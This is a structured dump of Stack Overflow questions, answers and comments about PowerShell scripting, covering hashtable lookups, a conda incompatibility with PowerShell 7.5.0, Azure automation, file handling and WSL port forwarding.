has body: Your second attempt is the more approximate to the solution of your problem, there are 2 main issues: You're using quotes on "$_.id", this doesn't allow the expansion on .id and is converting your object ($_) into a string and appending .id to it. Solution is to simply remove the quotes: "...". [pscustomobject]@{ id = 123 } | ForEach-Object { "$_.id" } # Outputs `@{id=123}.id` instead of `123` [pscustomobject]@{ id = 123 } | ForEach-Object { $_.id } # Outputs `123` In your expression, you're using $VAR2.id -eq "$_.id" and $VAR2.id gives you all .id values in $VAR2. In order to compare here, you should first capture the previous value from $VAR1 into a variable (for example $id = $_.id and then compare it against each object from $VAR2: $_.id -eq $id. So the expression can become: Expression = { # capture the `.id` from `$VAR1` $id = $_.id # and filter against `$VAR2` $VAR2 | Where-Object { $_.id -eq $id } | Select-Object -ExpandProperty name } There is a much simpler and efficient way to approach your code, and that is to use a dictionary type like a hash table. First you build a map of the key values from $VAR2: $map = @{} foreach ($item in $VAR2) { $map[$item.id] = $item.name } And then you can use this map to correlate them with the objects from $VAR1: $VAR1 | Select-Object id, code, @{ N='name'; E={ $map[$_.id] }} # id code name # -- ---- ---- # 100 AAA John # 200 BBB Joe # ....
downvote count: 0
type: Answer
upvote count: 1
answers question: http://stackoverflow.com/q/79360258
score: 1

http://stackoverflow.com/comment/139991015
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79378728
has text: Thanks, Mclayton, I was able to use your "foreach" command to do some additional troubleshooting and there was in fact an incomplete line (server = "") in one of my text files. After cleaning that up my script worked as planned. Additionally, thanks to everyone for sharing your suggestion for my issue.
type: QuestionComment

http://stackoverflow.com/comment/139835117
comment on: http://stackoverflow.com/q/79298186
score: 0
has text: Since the problem occurs with _string literals_ in your _source code_, the likeliest explanation is that your script file is misinterpreted by the _Windows PowerShell_ engine, which happens if the script is saved as UTF-8 _without a BOM_ (this is no longer a problem in [_PowerShell (Core) 7_](https://github.com/PowerShell/PowerShell/blob/master/README.me)). Try saving your script as UTF-8 _with BOM_. See the linked duplicate for details.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/79361771
type: Answer
has comment: http://stackoverflow.com/comment/139953783
has comment: http://stackoverflow.com/comment/139954484
has comment: http://stackoverflow.com/comment/139952372
has body: In this particular case, I am trying to read a secured string from a file made by another user. When such a file with a password is prepared without the –Key or –SecureKey parameters of ConvertTo-SecureString, only the same user account on the same computer will be able to use this encrypted string. Source: https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/#convertto-securestring-encrypting-passwords-and-other-strings A similar topic: ConvertTo-SecureString run without key on different user account, is there a way (with proper credentials) to get this working from a different user?
has comment: http://stackoverflow.com/comment/139954477
downvote count: 0
answers question: http://stackoverflow.com/q/79361770
score: 2
upvote count: 2

http://stackoverflow.com/comment/139989899
type: Comment
comment on: http://stackoverflow.com/a/79375613
type: AnswerComment
score: 1
has text: @dcaz, my initial approach to preserving coloring was conceptually flawed (as discussed in the now-closed [GitHub issue #24834](https://github.com/PowerShell/PowerShell/issues/24834)). I've updated the answer with a working solution.

http://stackoverflow.com/comment/139982974
type: Comment
score: 3
comment on: http://stackoverflow.com/q/79377035
has text: As an aside: you might want to create a full-scale **proxy-command** instead, to prevent losing any features that exist in `Write-Process` (and other cmdlets), see: [How to wrap a cmdlet](https://stackoverflow.com/a/77635453/1701026).
type: QuestionComment

http://stackoverflow.com/comment/139817893
type: Comment
comment on: http://stackoverflow.com/q/79286119
has text: It will be more efficient to transport a big single string than a million of little strings so try doing `$test = get-content "G:\test.log" -Raw` (note the `-Raw`, it's important)
score: 1
type: QuestionComment

http://stackoverflow.com/comment/139835508
score: 0
type: QuestionComment
type: Comment
has text: Glad to hear it, @mmseng. I think the linked duplicates in combination with the comments here probably provide sufficient guidance to future readers.
comment on: http://stackoverflow.com/q/79296217

http://stackoverflow.com/q/79367371
answer count: 1
has title: Error faced when deploy azure update manager dynamic scopes across multiple subscriptions
tagged with: scripting
has answer: http://stackoverflow.com/a/79414700
score: 0
tagged with: powershell
type: UnansweredQuestion
tagged with: azure
has comment: http://stackoverflow.com/comment/140041933
type: Question
linked to: http://stackoverflow.com/q/78159445
has body: I'm facing multiple anomolies when deploying azure update manager dynamic scopes linked to maintenance configurations across multiple subscriptions; with the below script (personal details removed) : # Define a hashtable of subscriptions with their names as keys and IDs as values $subscriptions = @{ "subscription A" = "00000000-0000-0000-0000-000000000000" "subscription B" = "00000000-0000-0000-0000-000000000000" # Additional subscriptions...... } # Ensures you do not inherit an AzContext in your runbook Disable-AzContextAutosave -Scope Process # Authenticate with the sys-mi linked to this automation account az login --identity az account show # Install the maintenance azure clie extension without prompting for confirmation (now mentioned in the ADO pipeline) az extension add --name maintenance --allow-preview true --yes az extension show --name maintenance az config set extension.dynamic_install_allow_preview=true # Mapping between maintenance configurations and their dynamic scope tags $dynamic_scope_tag_to_mc = @{ mc_ne_dev_arc = @{ mc_config_id = "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/rg-mc-ne-aum/providers/Microsoft.Maintenance/maintenanceConfigurations/mc_ne_dev_arc" dynamic_scope_tag_value = "dev-arc" } mc_ne_stage_platform = @{ mc_config_id = "/subscriptions/00000000-0000-0000-0000-000000000000/resourceGroups/rg-mc-ne-aum/providers/Microsoft.Maintenance/maintenanceConfigurations/mc_ne_stage_platform" dynamic_scope_tag_value = "stage-platform" } # Additional maintenance configurations..... } # Iterate over each maintenance configuration and its dynamic scope tag foreach ($scope in $dynamic_scope_tag_to_mc.Keys) { # Get the maintenance configuration details $mc_config_id = $dynamic_scope_tag_to_mc[$scope]["mc_config_id"] $scope_tag_value = $dynamic_scope_tag_to_mc[$scope]["dynamic_scope_tag_value"] # Iterate over each subscriptions for this maintenance configuration foreach ($sub in $subscriptions.Keys) { $subscription_name = $sub …

http://stackoverflow.com/comment/139769045
type: Comment
has text: @mklement0, thanks for your feedback, I will investigate it later today and update the answer accordingly.
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/79260271

http://stackoverflow.com/q/79388784
type: Question
has comment: http://stackoverflow.com/comment/140003859
has answer: http://stackoverflow.com/a/79405998
upvote count: 10
possible better answer: http://stackoverflow.com/a/79405998
tagged with: anaconda
downvote count: 0
tagged with: powershell
score: 10
has answer: http://stackoverflow.com/a/79472662
has answer: http://stackoverflow.com/a/79406026
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79391497
has body: I upgraded my powershell from 7.4.6 to 7.5.0. Then I found that I could not activate any conda environments and conda cannot catch any arguments: base 3.12.8 ➜ conda --version usage: conda-script.py [-h] [-v] [--no-plugins] [-V] COMMAND ... conda-script.py: error: argument COMMAND: invalid choice: '' (choose from activate, clean, commands, compare, config, create, deactivate, env, export, info, init, install, list, notices, package, content-trust, doctor, repoquery, remove, uninstall, rename, run, search, update, upgrade) As usual, command conda redirects to Invoke-Conda defined in %USERPROFILE%\miniconda3\shell\condabin\Conda.psm1 base 3.12.8 ➜ command conda CommandType Name Version Source ----------- ---- ------- ------ Alias conda -> Invoke-Conda 0.0 Conda I downgraded my pwsh version to 7.4.5 and it works well now: base 3.12.8 ➜ pwsh --version PowerShell 7.4.5 base 3.12.8 ➜ conda activate mvd-3d mvd-3d 3.10.11 ➜ So I suppose there should be changes in pwsh 7.5.0 that makes Invoke-Conda incompatible with the latest pwsh version. How could I patch the file %USERPROFILE%\miniconda3\shell\condabin\Conda.psm1? (Shown as below) I'm not very familiar with PowerShell, so I'm not sure if this is a bug that should be reported on GitHub Issues instead of Stack Overflow. param([parameter(Position=0,Mandatory=$false)] [Hashtable] $CondaModuleArgs=@{}) # Defaults from before we had arguments. if (-not $CondaModuleArgs.ContainsKey('ChangePs1')) { $CondaModuleArgs.ChangePs1 = $True } ## ENVIRONMENT MANAGEMENT ###################################################### <# .SYNOPSIS Obtains a list of valid conda environments. .EXAMPLE Get-CondaEnvironment .EXAMPLE genv #> function Get-CondaEnvironment { [CmdletBinding()] param(); begin {} process { # NB: the JSON output of conda env list does not include the names # of each env, so we need to parse the fragile output instead. & $Env:CONDA_EXE $Env:_CE_M $Env:_CE_CONDA env list | ` Where-Object { -not $_.StartsWith("#") } | ` Where-Obj…
accepted answer: http://stackoverflow.com/a/79406026
has comment: http://stackoverflow.com/comment/140003767
tagged with: conda
has comment: http://stackoverflow.com/comment/140003792
has answer: http://stackoverflow.com/a/79403738
has comment: http://stackoverflow.com/comment/140003381
has title: `Invoke-Conda` cannot catch any arguments after powershell 7.5.0 update
favorite count: 0
answer count: 6
has answer: http://stackoverflow.com/a/79401368

http://stackoverflow.com/q/79399193
type: Question
has comment: http://stackoverflow.com/comment/140024314
has comment: http://stackoverflow.com/comment/140024144
answer count: 1
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/140024281
tagged with: powershell
has body: So I was working on a script and found an unusual behavior: $Drives = Get-WmiObject -Class Win32_logicalDisk -Filter 'DriveType=3' | Select -ExpandProperty DeviceID #this will exclude CD drives and shared drives, etc, returning only local logical drives. $MisconfiguredConfigFiles = [List[object]]::new() $AllConfigFiles = [List[object]]::new() foreach ($drive in $Drives) { $ConfigFiles = dir "$drive\*.config" -Recurse $AllConfigFiles.Add($ConfigFiles.FullName) } If I do $AllConfigFiles.Count with that code, it gives me the number of drives instead of the number of files. But if I do this: $Drives = Get-WmiObject -Class Win32_logicalDisk -Filter 'DriveType=3' | Select -ExpandProperty DeviceID #this will exclude CD drives and shared drives, etc, returning only local logical drives. $MisconfiguredConfigFiles = [List[object]]::new() $AllConfigFiles = @() foreach ($drive in $Drives) { $ConfigFiles = dir "$drive\*.config" -Recurse $AllConfigFiles += $ConfigFiles.FullName } Then, $AllConfigFiles.Count will return the accurate number of files I was expecting. How can I continue to use the List object (and its correlated "Add" method) instead of an array using the "+=" operator?
score: 0
has title: List objects vs. Arrays in PowerShell
has answer: http://stackoverflow.com/a/79399735
has comment: http://stackoverflow.com/comment/140023472
accepted answer: http://stackoverflow.com/a/79399735
tagged with: windows-server

http://stackoverflow.com/a/79399424
has comment: http://stackoverflow.com/comment/140023719
answers question: http://stackoverflow.com/q/79397722
score: 0
has comment: http://stackoverflow.com/comment/140023801
has comment: http://stackoverflow.com/comment/140024549
has body: Did you look at the Modules property of Get-Process? Get-Process &lt;process name&gt; | Select -expand Modules It outputs like this: PS C:\Windows\System32&gt; get-process vds | Select -ExpandProperty modules Size(K) ModuleName FileName ------- ---------- -------- 692 vds.exe C:\windows\System32\vds.exe 1976 ntdll.dll C:\windows\SYSTEM32\ntdll.dll 716 KERNEL32.DLL C:\windows\System32\KERNEL32.DLL 2676 KERNELBASE.dll C:\windows\System32\KERNELBASE.dll 672 ADVAPI32.DLL C:\windows\System32\ADVAPI32.DLL 632 msvcrt.dll C:\windows\System32\msvcrt.dll ...
type: Answer

http://stackoverflow.com/comment/139851274
type: AnswerComment
comment on: http://stackoverflow.com/a/79307730
type: Comment
has text: That's not CMD, it's just calling PS. Why not calling PHP or straight an EXE all along?
score: 0

http://stackoverflow.com/q/79247237
type: Question
answer count: 0
downvote count: 0
upvote count: 1
tagged with: powershell
has title: Cannot proxy port on WSL
type: UnansweredQuestion
favorite count: 0
tagged with: windows-subsystem-for-linux
score: 1
has body: I'm currently trying to configure Cassandra in WSL but it cannot establish a connection (ERROR: cannot bind to MY_PUBLIC_IP:7000). To solve this I did two things : I now have port redirection from my public IP to my local windows IP (using port 7000 and 9042) and I followed David Bombal's guide to have a port redirection from my local windows IP to my WSL2 IP. The command I used (for the second redirection) was netsh interface portproxy add v4tov4 listenport=7000 listenaddress=0.0.0.0 connectport=7000 connectaddress=MY_WSL_IP in PowerShell (I also tried listenaddress=MY_WINDOWS_PRIVATE_IP). After those two changes, I did some networking tests using ncat. The results are as follows : When the second port redirection is not active and I have ncat -lvp 7000 running in PowerShell (on windows), I can establish a connection from an another machine (can be inside or outside of my local network). When I have nc -lvp 7000 running in WSL, I can establish a connection from windows on the same machine Sadly, when both port redirections are up and I have nc -lvp 7000 running in WSL, I can't establish a connection from an outside machine (Ncat: TIMEOUT) making me think that maybe David Bombal's guide doesn't apply here ? For the record I also tried the mirrored networking configuration but that didn't work either. What could I do to redirect ports from my windows IP to WSL ?
tagged with: port

http://stackoverflow.com/q/79275937
accepted answer: http://stackoverflow.com/a/79276143
tagged with: azure
score: 1
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79276143
has body: Is it possible to add, via Powershell Script, Virtual Application Paths, Virtual and Physical to a Web App (App Service - Azure), or this is just possible, via graphical interface, in the Azure portal ? Thank you.
tagged with: azure-web-app-service
has title: Adding / setting Virtual Applications (Path mappings) to a Web App (App Service Azure) - via Powershell Script
type: Question
answer count: 1
tagged with: azure-devops
downvote count: 0
tagged with: powershell
type: AnsweredQuestion

http://stackoverflow.com/comment/139855040
comment on: http://stackoverflow.com/a/79302035
type: AnswerComment
type: Comment
has text: Thanks @SantiagoSquarzon! I will check this out.
score: 0

http://stackoverflow.com/q/79330357
downvote count: 1
has body: Rather than typing the standard input via the terminal, I'd like to have my python program in VS code to read the standard input from an input file (say, input.txt). This is a common setup to easily work on competitive programming problems. According to this blogpost, a way to do this is to provide this arg in launch.json: "args": ["<", "${workspaceFolder}/input"] Which makes sense because hello.py < input.txt is how I roughly expect this to work. However when I tried this on my Windows, the terminal gives me this error: The '<' operator is reserved for future use. Similar comments here : https://stackoverflow.com/a/61755465/2613667 and https://stackoverflow.com/a/69744570/2613667 indicat that others also ran into the issue when trying this trick in Windows. Apparently powershell doesn't support the '<' operator? How do I work around this?
accepted answer: http://stackoverflow.com/a/79331669
upvote count: 2
has answer: http://stackoverflow.com/a/79331669
tagged with: powershell
linked to: http://stackoverflow.com/q/59060237
has comment: http://stackoverflow.com/comment/139892822
type: AnsweredQuestion
score: 1
favorite count: 0
linked to: http://stackoverflow.com/q/64786161
has title: How to provide a file as std input in VSCode (Windows, python)?
has comment: http://stackoverflow.com/comment/139893418
answer count: 2
tagged with: visual-studio-code
linked to: http://stackoverflow.com/q/6763086
possible better answer: http://stackoverflow.com/a/79459859
type: Question
has answer: http://stackoverflow.com/a/79459859

http://stackoverflow.com/comment/139952732
comment on: http://stackoverflow.com/q/79359686
has text: Omg.... I am a fool. When storing these external users, exchange will replace the "@" symbol in the User Principle Name with an "_", leaving the emails to look like this: ```exampleemail_outlook.com#EXT#@company.com```. This issue was resolved by changing ```Select-Object -ExpandProperty UserPrincipalName``` to ```Select-Object -ExpandProperty Mail```. Thank you both for your suggestions!
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/a/79388071
type: Answer
answers question: http://stackoverflow.com/q/79272293
score: 0
has body: there might be issues in with version compatibility or wsl is not restarting with installation of new software. you can try after shuting down with wsl --shutdown command. or check if node.js binary is in your path of ubuntu,or add it manually. update nodejs or use --force if necessary. hope this helps. mine worked after a shutdown.

http://stackoverflow.com/comment/139994342
score: 0
comment on: http://stackoverflow.com/a/79383869
type: AnswerComment
has text: OK, so rephrased, how do I get the console to actually work right, or is it just forever broken in the console? Worth noting that I am targeting PS 5.1 because expecting people to upgrade hundreds of machines, especially in AEC (Architecture/Engineering/Construction), is simply not viable.
type: Comment

http://stackoverflow.com/comment/140172104
comment on: http://stackoverflow.com/q/79284952
type: Comment
has text: related https://stackoverflow.com/a/63430742
score: 0
type: QuestionComment

http://stackoverflow.com/comment/139940816
type: Comment
score: 0
has text: @jdweng it should be the same file between the working directory and the HEAD
comment on: http://stackoverflow.com/q/79354709
type: QuestionComment

http://stackoverflow.com/comment/139995011
comment on: http://stackoverflow.com/q/79380511
type: QuestionComment
type: Comment
has text: I was suspecting the types were different. The Data from Outlook and Viva should be coming from the same location or updates get broadcast between the apps. Not sure which. One possibility is updates only get seen when you open a connection. So if connections is open try to close and reopen. There is a connection pool and issue may have to do with the pool. Not sure.
score: 0

http://stackoverflow.com/comment/140090663
has text: Please see my update.
comment on: http://stackoverflow.com/q/79416406
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/139861900
type: Comment
comment on: http://stackoverflow.com/a/79313044
score: 0
type: AnswerComment
has text: To be clear, all API calls are made before the main `foreach` loop where the slowness is observed. I get all API data in big batches and save the results in hash tables. The main `foreach` loop then retrieves individual device information from all data sources by indexing into the various hash tables. The performance degradation is observed during this `foreach` loop, when no API calls happen.

http://stackoverflow.com/comment/139930331
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79349700
has text: @SantiagoSquarzon that's what I've done, this is my variable in the resourceID field: ($MIDData.appId) 00000003-0000-0000-c000-000000000000

http://stackoverflow.com/comment/139789459
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/79262856
score: 0
has text: I think it might be better to replace `param($__sb, $__token)` with `param($private:__sb, $private:__token)`. Otherwise `$__sb` and `$__token` are visible in all descendant scopes. With `private` they're only visible in the immediate scope, and only when `.` is used.

http://stackoverflow.com/q/79277736
accepted answer: http://stackoverflow.com/a/79277737
score: 0
tagged with: windows
type: Question
has title: How to Toggle Airplane Mode in Windows Using PowerShell?
answer count: 1
tagged with: airplane-mode
has body: I want to toggle airplane mode in Windows programmatically using PowerShell. After some research, I found that this can be done through COM interfaces and native Windows APIs. Below is a script I’ve written that successfully toggles airplane mode using P/Invoke.
tagged with: powershell
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/79277737

http://stackoverflow.com/comment/140010243
score: 0
comment on: http://stackoverflow.com/a/79390393
type: AnswerComment
has text: While that works for referencing the files, I find how neo4j handles the files passed this way very confusing. Nodes files can have header line, but for the edge files, only the first file should have header, and every other file should be without header, or you get an error. While, when you pass each of the edge files separately, they all can have a header line without an issue. Please see my updated question for an example.
type: Comment

http://stackoverflow.com/a/79346604
answers question: http://stackoverflow.com/q/79346257
type: Answer
has comment: http://stackoverflow.com/comment/139926992
accepted answer of: http://stackoverflow.com/q/79346257
score: 0
has body: I got the same error message like you: To resolve the error, you need to give application_id for your Service Principal means Application_id of that Enterprise Application. I ran same powershell command: $appId = '&lt;application_id of your Service Principal&gt; ' $roleName='Azure Service Bus Data Owner' New-AzRoleAssignment -ApplicationId $appId -RoleDefinitionName $roleName Response: I verified it from portal as well: Reference: Application and service principal objects in Microsoft Entra ID New-AzRoleAssignment
type: AcceptedAnswer

http://stackoverflow.com/q/79340469
has comment: http://stackoverflow.com/comment/139912125
score: 0
has body: I can run the commands to get the number of comments on a page. Is there a similar endpoint for the number of page views? Copilot suggested /Analytics and /ViewsLifeTime but neither of them give a response of: Cannot find resource for the request ViewsLifeTime. $url = "https://myTenant.sharepoint.com/sites/EnterpriseRiskManagementProjectPlan/_api/web/lists/GetByTitle('Site Pages')/items('1')/Comments" $ListofComments = Invoke-PnPSPRestMethod -Url $url-method get
type: UnansweredQuestion
type: Question
has title: How can I use the Invoke-PnPSPRestMethod to retrieve the number of page views
answer count: 0
tagged with: powershell

http://stackoverflow.com/comment/139870716
has text: +1 for the effective workaround, but note: While `.Set` is a _CLR_-provided member (method) on _arrays_, `XmlElement` has _no_ such (type-native) member - you're merely seeing the _adapted_ properties PowerShell provides for the `<Set>` child elements. It is the ` ` definition with the same name as the document element, `Configure` that makes `$xml.configure` return an _array_, which causes the problem.
comment on: http://stackoverflow.com/a/79312248
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/139924896
comment on: http://stackoverflow.com/q/79347202
has text: Also, if I use New-SmbMapping instead of NewSmbGlobalMapping, the command succeeds. But achieving a regular non-global mapping is not what I'm looking for. This bit of info is given just to establish that basic networking and file sharing is working as expected.
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/140029441
type: AnswerComment
comment on: http://stackoverflow.com/a/79402333
type: Comment
has text: Of course, that code would go inside a loop.
score: 0

http://stackoverflow.com/comment/139997153
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79385377
has text: @sln Played around with the quotes at the end of the regex also. But again, it stops working when putting anymore of the regex in than ...[General], so the issue must be in the regex post that.

http://stackoverflow.com/comment/140020704
has text: Don't even know if this is possible with p/invoke, meaning not possible from PowerShell.
comment on: http://stackoverflow.com/q/79397722
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/140010136
type: Comment
comment on: http://stackoverflow.com/q/79392354
has text: Honestly I was going to make up a better sounding use case and lie to you... but I literally just want it so I can automatically make high-fidelity transcripts of my own sessions. Either for later reference when writing a script after messing with data in terminal or when sharing some cli process w/ my team (eg, run these commands to package/deploy, or somesuch).
score: 0
type: QuestionComment

http://stackoverflow.com/q/79277790
type: AnsweredQuestion
tagged with: bluetooth
accepted answer: http://stackoverflow.com/a/79277791
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79277791
has body: I created a PowerShell script to programmatically enable or disable WiFi or Bluetooth radios on a Windows system using the Windows.Devices.Radios namespace and WinRT APIs. The script handles the asynchronous nature of WinRT APIs and works seamlessly to toggle the radio state. Below is the implementation for enabling/disabling WiFi or Bluetooth radios.
tagged with: windows
score: 1
type: Question
tagged with: powershell
answer count: 1
tagged with: wifi
has title: PowerShell Script to Enable/Disable WiFi or Bluetooth Using WinRT APIs
downvote count: 0

http://stackoverflow.com/q/79340858
score: 1
favorite count: 0
has answer: http://stackoverflow.com/a/79340931
has title: Get number of deleted files in Powershell Script
type: Question
has body: I have a Powershell script run overnight to automatically delete those files which meet certain criteria. How can I modify it to capture the number of files selected for deletion? The statement I'm using is nice and simple and the Where-object cmdlet would fit in nicely with what I already have, if I could get it to work. The statement I'm trying to modify is as follows: $path = [path to containing folder] Get-ChildItem -Path $path -File | Where-Object { $_.LastWriteTime -lt (Get-Date).AddDays(-10) } | Remove-Item -Force
accepted answer: http://stackoverflow.com/a/79340931
tagged with: powershell-7.4
tagged with: windows-10
downvote count: 0
tagged with: powershell
type: AnsweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/79340927
possible better answer: http://stackoverflow.com/a/79340927
answer count: 2

http://stackoverflow.com/a/79333796
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/79333742
score: 1
upvote count: 1
accepted answer of: http://stackoverflow.com/q/79333742
type: AcceptedAnswer
has body: Use Get-Item rather than Get-ChildItem: Get-Item -Path '.\BaseName 1*' -Exclude *.lnk More stringently (given that the above would also match .\BaseName 11, for instance): # Add -ErrorAction Ignore to silence a potential error if no # item literally named 'BaseName 1' exists. Get-Item -Path '.\BaseName 1', '.\BaseName 1.*' -Exclude *.lnk As for what you tried: # !! Includes the *child* items of dir. 'BaseName 1', due to use of -Exclude Get-ChildItem -Path &quot;.\BaseName 1*&quot; -Exclude *.lnk Leaving aside that Get-Item is also conceptually the better choice, since you're not looking for child items of what the wildcard expression &quot;.\BaseName 1*&quot; matches, the behavior you've observed when combining Get-ChildItem with -Exclude is certainly surprising (observed in Windows PowerShell v5.1 and PowerShell (Core) 7 as of v7.5.0): By default, a directory matched by wildcard is reported as itself rather than reporting its child items (the latter always happens if you use a literal name). The addition of -Exclude surprisingly implicitly modifies this behavior to report the children and applying the exclusion to them. Judging by the docs, as of this writing, it is unclear if this is by design; either way, the behavior is counterintuitive and obscure. If -Include is used, the behavior becomes downright buggy: In addition to unexpectedly triggering reporting of the children, as with -Exclude, the pattern is first matched against the item name itself, and if it doesn't match, the children are not matched. E.g., Get-ChildItem foo* -Include *.txt never matches anything, because *.txt cannot match whatever directory names foo* resolved to. A summary of all problematic -Include / -Exclude behaviors can be found in the bottom section of this answer.

http://stackoverflow.com/comment/139921356
type: Comment
has text: Sounds like you could run one more activity once all the fan outs are done (i.e. fan in) that would take the consolidated data as input
score: 1
comment on: http://stackoverflow.com/q/79345015
type: QuestionComment

http://stackoverflow.com/comment/140021686
type: Comment
score: 0
comment on: http://stackoverflow.com/q/79397722
has text: Powershell is written in the Net Library. See remarks on following page : https://learn.microsoft.com/en-us/dotnet/api/system.diagnostics.process.getprocessbyid?view=net-9.0
type: QuestionComment

http://stackoverflow.com/comment/140003767
type: Comment
score: 1
comment on: http://stackoverflow.com/q/79388784
has text: Do this first? `$Env:_CE_M = $null ; $Env:_CE_CONDA = $null` (setting them to '' is the problem)
type: QuestionComment

http://stackoverflow.com/a/79344267
answers question: http://stackoverflow.com/q/79344254
type: Answer
score: 2
has comment: http://stackoverflow.com/comment/139925008
accepted answer of: http://stackoverflow.com/q/79344254
has body: The performance issue in your code is most likely when you do the linear comparison here: $MatchingFile = @($AllOldSrcProps | Where-Object { ($_.FullName -eq $file.FullName) -and .... } The way you could improve performance is by using a dictionary type, like a hashtable, the issue however is that you're comparing 3 properties so you need to use a structure that implements IEquatable&lt;T&gt;. One way you could sort that issue is by using ValueTuple as your hash keys, tuples are inherently comparable and equatable. So before your code, you could do this: $map = @{} foreach ($src in $AllOldSrcProps) { $key = [System.ValueTuple[string, long, datetime]]::new( $src.FullName, $src.Length, $src.LastWriteTime) $map[$key] = $src } Then, in your actual code, you would replace that Where-Object for indexing your $map hash, like so: foreach ($file in $AllFiles) { if ($file.FullName.StartsWith($SrcPath)) { $file.FullPotLength = $file.FullName.Length - $SrcLen + $ModLen $file.LocKey = $SrcKey # If we're not rebuilding the hash, recalculate if (-not $RebuildSrcHashTblFlag -and $AllOldSrcProps) { $key = [System.ValueTuple[string, long, datetime]]::new( $file.FullName, $file.Length, $file.LastWriteTime) $MatchingFile = $map[$key] if ($MatchingFile) { $file.Hash = $MatchingFile.Hash $MatchedHash[0]++ } } } }
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/139925250
upvote count: 2
downvote count: 0

http://stackoverflow.com/a/79292429
has body: Building on Daniel's helpful comments. The problem with your code: $process = Start-Process powershell.exe -FilePath "c:\config.ps1" -ArgumentList -val1 "1234" -val2 "12.089" -PassThru -WindowStyle Hidden -Wait You're invoking powershell.exe, which therefore needs to be the argument passed to Start-Process's -FilePath parameter. Everything else - both the target PowerShell script, c:\config.ps1 and its arguments - must be passed to the -ArgumentList parameter, which is best done in the form of a single string with embedded quoting, if necessary.[1] Thus, the immediate fix is (-WindowStyle Hidden omitted for brevity; note the addition of -File and the use of a verbatim here-string (@'<newline>...<newline>'@) to simplify embedded quoting): $process = Start-Process -PassThru -Wait -FilePath powershell.exe -ArgumentList @' -File "c:\config.ps1" -val1 "1234" -val2 "12.089" '@ Note that while in this particular case omitting the -File parameter of powershell.exe, the Windows PowerShell CLI, would have worked in principle too - in which case -Command is implied, there is an important difference: Only -File passes a script file's exit code through as the exit code of the powershell.exe process, whereas -Command reports only an abstract exit code: any nonzero exit code is mapped onto 1.[2] Additionally, arguments are parsed differently between -File and -Command.[3] $process.ExitCode then reflects the script's exit code. Taking a step back: Normally, you'd invoke a PowerShell script (*.ps1 file) in-process, by direct invocation, which is invariably synchronous (i.e., PowerShell waits for the script to terminate before continuing): # Direct, in-process invocation. # * If the script path must be quoted or is stored in a variable, # use &, the call operator (e.g., & "c:\config.ps1" ...) # * If the script uses `exit` with a number to set an exit code, that # it will be reflected in $LASTEXITCODE. c:\config.ps1 -val1 1234 -val2 12.089 If you do need process isolation or if you mu…
downvote count: 0
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/79291780

http://stackoverflow.com/a/79392647
type: Answer
downvote count: 1
score: 0
upvote count: 1
has body: I tried with the following YAML sample, all the AzurePowerShell@5 tasks can work well in the pipeline. variables: - name: environments value: "dev,test,prod" steps: - ${{ each environment in split(variables.environments, ',') }}: - task: AzurePowerShell@5 displayName: 'AzPS1 - ${{ environment }}' inputs: azureSubscription: 'MyArmConnection' azurePowerShellVersion: 'LatestVersion' pwsh: true ScriptType: 'InlineScript' Inline: | if("${{ environment }}" -eq "dev") { "Do stuff specific to dev" } if("${{ environment }}" -eq "test") { "Do stuff specific to test" } if("${{ environment }}" -eq "prod") { "Do stuff specific to prod" } - task: AzurePowerShell@5 displayName: 'AzPS2 - ${{ environment }}' inputs: azureSubscription: 'MyArmConnection' azurePowerShellVersion: 'LatestVersion' pwsh: true ScriptType: 'InlineScript' Inline: | "Do stuff specific to ${{ environment }}" I recommend you try to check the following things to see if the issue can be fixed: The encoding of the YAML file. Normally, the encoding is UTF-8. The inconsistent encoding might cause unexpected error when running the pipeline. The indentation of each line in the YMAL content. The wrong indentation might cause syntax error or unexpected error when running the pipeline.
answers question: http://stackoverflow.com/q/79391481

http://stackoverflow.com/comment/139853016
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/79308669
has text: For some reason it didn't unblock cyrillic for me unlike chcp 1251 but the program started to work at least in a latin directory (before it wasn't).
type: Comment

http://stackoverflow.com/a/79349580
answers question: http://stackoverflow.com/q/79349429
type: Answer
has body: My solution: [Array]$Records = Get-MgBetaAuditLogDirectoryAudit -All $Records | Where-Object {$_.InitiatedBy.User.IPAddress -eq "$IpAddress"} Why not using the logs you already paid for? Who wants to invest extra money for LogAnalytics, Splunk, etc. can do this. ;-)
accepted answer of: http://stackoverflow.com/q/79349429
score: 0
type: AcceptedAnswer

http://stackoverflow.com/comment/140090034
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/79416406
score: 0
has text: @mklement0 We are really close and thank you for being patient with me. When I run that line in the actual JSON file, it yields all the id results and the output in the blue terminal ends up having a .... Is it possible to only return the first id string after it finds "entityType": "IHUR". That result should be only id": "7af50dbb-7ea3-4458-adfe-a82198a8d96c" I updated my condensed JSON file above.

http://stackoverflow.com/q/79268940
has comment: http://stackoverflow.com/comment/139785946
has comment: http://stackoverflow.com/comment/139792815
tagged with: ms-word
has comment: http://stackoverflow.com/comment/139791891
score: 0
has answer: http://stackoverflow.com/a/79271433
type: UnansweredQuestion
